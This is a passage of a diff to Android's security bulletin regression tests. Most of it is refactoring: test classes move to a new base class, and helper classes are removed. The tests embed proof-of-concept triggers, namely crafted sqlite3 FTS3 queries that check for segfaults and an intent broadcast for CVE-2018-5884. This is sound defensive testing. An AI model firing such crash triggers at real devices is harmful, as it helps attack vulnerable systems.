getDevice() - )==139); - assertFalse("Segfault found", - AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);" - + "INSERT INTO a values(x'efbeaddeefbeadde');" - + "SELECT offsets(b) FROM a;\"" - , getDevice() - )==139); - assertFalse("Segfault found", - AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);" - + "INSERT INTO a values(x'efbeaddeefbeadde');" - + "SELECT matchinfo(b) FROM a;\"" - , getDevice() - )==139); + // Error code of 139 represents segmentation fault + assertFalse( + "Segfault found", + AdbUtils.runCommandGetExitCode( + "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);" + + "INSERT INTO a values(x'efbeaddeefbeadde');" + + "SELECT optimize(b) FROM a;\"", + getDevice()) + == 139); + assertFalse( + "Segfault found", + AdbUtils.runCommandGetExitCode( + "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);" + + "INSERT INTO a values(x'efbeaddeefbeadde');" + + "SELECT snippet(b) FROM a;\"", + getDevice()) + == 139); + assertFalse( + "Segfault found", + AdbUtils.runCommandGetExitCode( + "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);" + + "INSERT INTO a values(x'efbeaddeefbeadde');" + + "SELECT offsets(b) FROM a;\"", + getDevice()) + == 139); + assertFalse( + "Segfault found", + AdbUtils.runCommandGetExitCode( + "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);" + + "INSERT INTO a values(x'efbeaddeefbeadde');" + + "SELECT matchinfo(b) FROM a;\"", + getDevice()) + == 139); } /** diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java index 168656111e4..4d406b7ce29 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc17_11 extends SecurityTestCase { +public class Poc17_11 extends NonRootSecurityTestCase { /** * b/36075131 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java index 160ec27d4a4..f63f34ff507 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc17_12 extends SecurityTestCase { +public class Poc17_12 extends NonRootSecurityTestCase { /** * b/38045794 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java index 1730fefecd2..b27efff8fd5 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc18_02 extends SecurityTestCase { +public class Poc18_02 extends NonRootSecurityTestCase { /** * b/68953950 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java index 0899f282005..f7a9519071d 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc18_03 extends SecurityTestCase { +public class Poc18_03 extends NonRootSecurityTestCase { /** * b/71389378 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java index 17ada80a888..7a4fd549db4 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc18_04 extends SecurityTestCase { +public class Poc18_04 extends NonRootSecurityTestCase { /** * b/69683251 * Does not require root but must be a hostside test to avoid diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java index 320f9970ee1..9b1830d9d6f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc18_05 extends SecurityTestCase { +public class Poc18_05 extends NonRootSecurityTestCase { /** * b/70721937 * Does not require root but must be a hostside test to avoid a race diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java index 63cdf56707a..236865e89b5 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc18_06 extends SecurityTestCase { +public class Poc18_06 extends NonRootSecurityTestCase { /** * CVE-2018-5884 @@ -35,9 +38,11 @@ public class Poc18_06 extends SecurityTestCase { String wfd_service = AdbUtils.runCommandLine( "pm list package com.qualcomm.wfd.service", getDevice()); if (wfd_service.contains("com.qualcomm.wfd.service")) { - String result = AdbUtils.runCommandLine( - "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei format 3 --ei value 32", - getDevice()); + String result = + AdbUtils.runCommandLine( + "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei" + + " format 3 --ei value 32", + getDevice()); assertNotMatchesMultiLine("Broadcast completed", result); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java index 11476586982..ce3ee4d445f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc18_07 extends SecurityTestCase { +public class Poc18_07 extends NonRootSecurityTestCase { /** * b/76221123 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java index a8b90508973..3e0cc2da5d8 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc18_10 extends SecurityTestCase { +public class Poc18_10 extends NonRootSecurityTestCase { /** * b/111641492 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java index e6ca50b8869..8f00629f3cf 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc18_11 extends SecurityTestCase { +public class Poc18_11 extends NonRootSecurityTestCase { /** * b/113027383 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java index 1e56873f4b1..dab20669def 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc19_03 extends SecurityTestCase { +public class Poc19_03 extends NonRootSecurityTestCase { /** * b/115739809 */ diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java index a22fc97d425..f9f8b7cb689 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc19_05 extends SecurityTestCase { +public class Poc19_05 extends NonRootSecurityTestCase { /** * CVE-2019-2257 */ diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java index 71cb84d8824..791b8b456d0 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc19_07 extends SecurityTestCase { +public class Poc19_07 extends NonRootSecurityTestCase { /** * Bug-137878930 */ diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java index 5a8f4d78a68..b029aa6953d 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java @@ -1,14 +1,17 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc20_01 extends SecurityTestCase { +public class Poc20_01 extends NonRootSecurityTestCase { /** * CVE-2019-14002 */ diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java index 5b9bb220c0e..72e7b960509 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc20_03 extends SecurityTestCase { +public class Poc20_03 extends NonRootSecurityTestCase { /** * b/147882143 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java index 6ed83c1ac32..3f2d1d0d798 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc20_06 extends SecurityTestCase { +public class Poc20_06 extends NonRootSecurityTestCase { /** * CVE-2020-3635 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java index bd2a761e2fb..86c1a1f5531 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java @@ -16,16 +16,18 @@ package android.security.cts; +import static org.junit.Assume.assumeFalse; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; -import static org.junit.Assume.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc20_11 extends SecurityTestCase { +public class Poc20_11 extends NonRootSecurityTestCase { /** * b/162741784 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java index e55570052cb..ccff62137ee 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java @@ -17,15 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; -import static org.junit.Assume.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc21_01 extends SecurityTestCase { +public class Poc21_01 extends NonRootSecurityTestCase { /** * b/168211968 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java deleted file mode 100644 index 07f45db0d4e..00000000000 --- a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java +++ /dev/null @@ -1,143 +0,0 @@ -/* - * Copyright (C) 2020 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.security.cts; - - -import org.junit.runner.Description; -import org.junit.runners.model.Statement; - -import java.util.HashSet; -import java.util.Iterator; -import java.util.Set; -import java.io.File; -import java.io.FileNotFoundException; - -import org.junit.runner.Description; -import org.junit.rules.TestWatcher; - -import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper; -import com.android.tradefed.build.IBuildInfo; -import com.android.tradefed.device.DeviceNotAvailableException; -import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.log.LogUtil.CLog; -import com.android.tradefed.testtype.IAbi; - -import static org.junit.Assume.*; -import static org.junit.Assert.*; - -public class PocPusher extends TestWatcher { - private ITestDevice device = null; - private CompatibilityBuildHelper buildHelper = null; - private IAbi abi = null; - - private Set<String> filesToCleanup = new HashSet(); - public boolean bitness32 = true; - public boolean bitness64 = true; - public boolean appendBitness = true; - public boolean cleanup = true; - - @Override - protected void starting(Description d) { - bothBitness(); - appendBitness = true; - cleanup = true; - } - - @Override - protected void finished(Description d) { - for (Iterator<String> it = filesToCleanup.iterator(); it.hasNext();) { - String file = it.next(); - try { - CLog.i("Cleaning up %s", file); - device.deleteFile(file); - } catch (DeviceNotAvailableException e) { - CLog.e("Device unavailable when cleaning up %s", file); - continue; // try to remove next time - } - it.remove(); - } - } - - public PocPusher setDevice(ITestDevice device) { - this.device = device; - return this; - } - - public PocPusher setAbi(IAbi abi) { - this.abi = abi; - return this; - } - - public PocPusher setBuild(IBuildInfo buildInfo) { - buildHelper = new CompatibilityBuildHelper(buildInfo); - return this; - } - - public PocPusher appendBitness(boolean append) { - this.appendBitness = append; - return this; - } - - public PocPusher cleanup(boolean cleanup) { - this.cleanup = cleanup; - return this; - } - - public PocPusher only32() { - bitness32 = true; - bitness64 = false; - return this; - } - - public PocPusher only64() { - bitness32 = false; - bitness64 = true; - return this; - } - - public PocPusher bothBitness() { - bitness32 = true; - bitness64 = true; - return this; - } - - public void pushFile(String testFile, String remoteFile) - throws FileNotFoundException, DeviceNotAvailableException { - if (appendBitness) { - // if neither 32 or 64, nothing would ever be pushed. - assertTrue("bitness must be 32, 64, or both.", bitness32 || bitness64); - - String bitness = SecurityTestCase.getAbi(device).getBitness().trim(); - - // 32-bit doesn't have a 64-bit compatibility layer; skipping. - assumeFalse(bitness.equals("32") && !bitness32); - - // push the 32-bit file on 64-bit device if a 64-bit file doesn't exist. - if (bitness.equals("64") && !bitness64) { - bitness = "32"; - CLog.i("Pushing a 32-bit file onto a 64-bit device."); - } - testFile += bitness; - } - CLog.i("Pushing local: %s to remote: %s", testFile.toString(), remoteFile); - File localFile = buildHelper.getTestFile(testFile); - device.pushFile(localFile, remoteFile); - if (cleanup) { - filesToCleanup.add(remoteFile); - } - } -} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java deleted file mode 100644 index 9ce7e39f35f..00000000000 --- a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java +++ /dev/null @@ -1,143 +0,0 @@ -/* - * Copyright (C) 2019 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.security.cts; - -import java.util.concurrent.TimeoutException; -import java.util.regex.Pattern; -import java.util.regex.Matcher; -import com.android.ddmlib.Log.LogLevel; -import com.android.tradefed.log.LogUtil.CLog; - -import static org.junit.Assert.*; - -public class RegexUtils { - private static final int TIMEOUT_DURATION = 20 * 60_000; // 20 minutes - private static final int WARNING_THRESHOLD = 1000; // 1 second - private static final int CONTEXT_RANGE = 100; // chars before/after matched input string - - public static void assertContains(String pattern, String input) throws Exception { - assertFind(pattern, input, false, false); - } - - public static void assertContainsMultiline(String pattern, String input) throws Exception { - assertFind(pattern, input, false, true); - } - - public static void assertNotContains(String pattern, String input) throws Exception { - assertFind(pattern, input, true, false); - } - - public static void assertNotContainsMultiline(String pattern, String input) throws Exception { - assertFind(pattern, input, true, true); - } - - private static void assertFind( - String pattern, String input, boolean shouldFind, boolean multiline) { - // The input string throws an error when used after the timeout - TimeoutCharSequence timedInput = new TimeoutCharSequence(input, TIMEOUT_DURATION); - Matcher matcher = null; - if (multiline) { - // DOTALL lets .* match line separators - // MULTILINE lets ^ and $ match line separators instead of input start and end - matcher = Pattern.compile( - pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(timedInput); - } else { - matcher = Pattern.compile(pattern).matcher(timedInput); - } - - try { - long start = System.currentTimeMillis(); - boolean found = matcher.find(); - long duration = System.currentTimeMillis() - start; - - if (duration > WARNING_THRESHOLD) { - // Provide a warning to the test developer that their regex should be optimized. - CLog.logAndDisplay(LogLevel.WARN, "regex match took " + duration + "ms."); - } - - if (found && shouldFind) { // failed notContains - String substring = input.substring(matcher.start(), matcher.end()); - String context = getInputContext(input, matcher.start(), matcher.end(), - CONTEXT_RANGE, CONTEXT_RANGE); - fail("Pattern found: '" + pattern + "' -> '" + substring + "' for input:\n..." + - context + "..."); - } else if (!found && !shouldFind) { // failed contains - fail("Pattern not found: '" + pattern + "' for input:\n..." + input + "..."); - } - } catch (TimeoutCharSequence.CharSequenceTimeoutException e) { - // regex match has taken longer than the timeout - // this usually means the input is extremely long or the regex is catastrophic - fail("Regex timeout with pattern: '" + pattern + "' for input:\n..." + input + "..."); - } - } - - /* - * Helper method to grab the nearby chars for a subsequence. Similar to the -A and -B flags for - * grep. - */ - private static String getInputContext(String input, int start, int end, int before, int after) { - start = Math.max(0, start - before); - end = Math.min(input.length(), end + after); - return input.substring(start, end); - } - - /* - * Wrapper for a given CharSequence. When charAt() is called, the current time is compared - * against the timeout. If the current time is greater than the expiration time, an exception is - * thrown. The expiration time is (time of object construction) + (timeout in milliseconds). - */ - private static class TimeoutCharSequence implements CharSequence { - long expireTime = 0; - CharSequence chars = null; - - TimeoutCharSequence(CharSequence chars, long timeout) { - this.chars = chars; - expireTime = System.currentTimeMillis() + timeout; - } - - @Override - public char charAt(int index) { - if (System.currentTimeMillis() > expireTime) { - throw new CharSequenceTimeoutException( - "TimeoutCharSequence was used after the expiration time."); - } - return chars.charAt(index); - } - - @Override - public int length() { - return chars.length(); - } - - @Override - public CharSequence subSequence(int start, int end) { - return new TimeoutCharSequence(chars.subSequence(start, end), - expireTime - System.currentTimeMillis()); - } - - @Override - public String toString() { - return chars.toString(); - } - - private static class CharSequenceTimeoutException extends RuntimeException { - public CharSequenceTimeoutException(String message) { - super(message); - } - } - } -} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java deleted file mode 100644 index d7a3afc7a6d..00000000000 --- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java +++ /dev/null @@ -1,367 +0,0 @@ -/* - * Copyright (C) 2019 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.security.cts; - -import com.android.compatibility.common.util.MetricsReportLog; -import com.android.compatibility.common.util.ResultType; -import com.android.compatibility.common.util.ResultUnit; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; -import com.android.tradefed.build.IBuildInfo; -import com.android.tradefed.config.Option; -import com.android.tradefed.testtype.IBuildReceiver; -import com.android.tradefed.testtype.IAbi; -import com.android.tradefed.testtype.IAbiReceiver; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; -import com.android.tradefed.device.DeviceNotAvailableException; -import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.device.NativeDevice; -import com.android.tradefed.log.LogUtil.CLog; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.ddmlib.Log; - -import org.junit.rules.TestName; -import org.junit.Rule; -import org.junit.After; -import org.junit.Before; -import org.junit.runner.RunWith; - -import java.util.Map; -import java.util.HashMap; -import java.util.regex.Pattern; -import java.util.regex.Matcher; -import java.util.concurrent.Callable; -import java.math.BigInteger; - -import static org.junit.Assert.*; -import static org.junit.Assume.*; -import static org.hamcrest.core.Is.is; - -public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase { - - private static final String LOG_TAG = "SecurityTestCase"; - private static final int RADIX_HEX = 16; - - protected static final int TIMEOUT_DEFAULT = 60; - // account for the poc timer of 5 minutes (+15 seconds for safety) - protected static final int TIMEOUT_NONDETERMINISTIC = 315; - - private long kernelStartTime = -1; - - private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this); - - @Rule public TestName testName = new TestName(); - @Rule public PocPusher pocPusher = new PocPusher(); - - private static Map<ITestDevice, IBuildInfo> sBuildInfo = new HashMap<>(); - private static Map<ITestDevice, IAbi> sAbi = new HashMap<>(); - private static Map<ITestDevice, String> sTestName = new HashMap<>(); - private static Map<ITestDevice, PocPusher> sPocPusher = new HashMap<>(); - - @Option(name = "set-kptr_restrict", - description = "If kptr_restrict should be set to 2 after every reboot") - private boolean setKptr_restrict = false; - private boolean ignoreKernelAddress = false; - - /** - * Waits for device to be online, marks the most recent boottime of the device - */ - @Before - public void setUp() throws Exception { - getDevice().waitForDeviceAvailable(); - getDevice().disableAdbRoot(); - updateKernelStartTime(); - // TODO:(badash@): Watch for other things to track. - // Specifically time when app framework starts - - sBuildInfo.put(getDevice(), getBuild()); - sAbi.put(getDevice(), getAbi()); - sTestName.put(getDevice(), testName.getMethodName()); - - pocPusher.setDevice(getDevice()).setBuild(getBuild()).setAbi(getAbi()); - sPocPusher.put(getDevice(), pocPusher); - - if (setKptr_restrict) { - if (getDevice().enableAdbRoot()) { - CLog.i("setting kptr_restrict to 2"); - getDevice().executeShellCommand("echo 2 > /proc/sys/kernel/kptr_restrict"); - getDevice().disableAdbRoot(); - } else { - // not a rootable device - ignoreKernelAddress = true; - } - } - } - - /** - * Makes sure the phone is online, and the ensure the current boottime is within 2 seconds - * (due to rounding) of the previous boottime to check if The phone has crashed. - */ - @After - public void tearDown() throws Exception { - try { - getDevice().waitForDeviceAvailable(90 * 1000); - } catch (DeviceNotAvailableException e) { - // Force a disconnection of all existing sessions to see if that unsticks adbd. - getDevice().executeAdbCommand("reconnect"); - getDevice().waitForDeviceAvailable(30 * 1000); - } - - if (kernelStartTime != -1) { - // only fail when the kernel start time is valid - long deviceTime = getDeviceUptime() + kernelStartTime; - long hostTime = System.currentTimeMillis() / 1000; - assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2); - kernelStartTime = -1; - } - - // TODO(badash@): add ability to catch runtime restart - } - - public static IBuildInfo getBuildInfo(ITestDevice device) { - return sBuildInfo.get(device); - } - - public static IAbi getAbi(ITestDevice device) { - 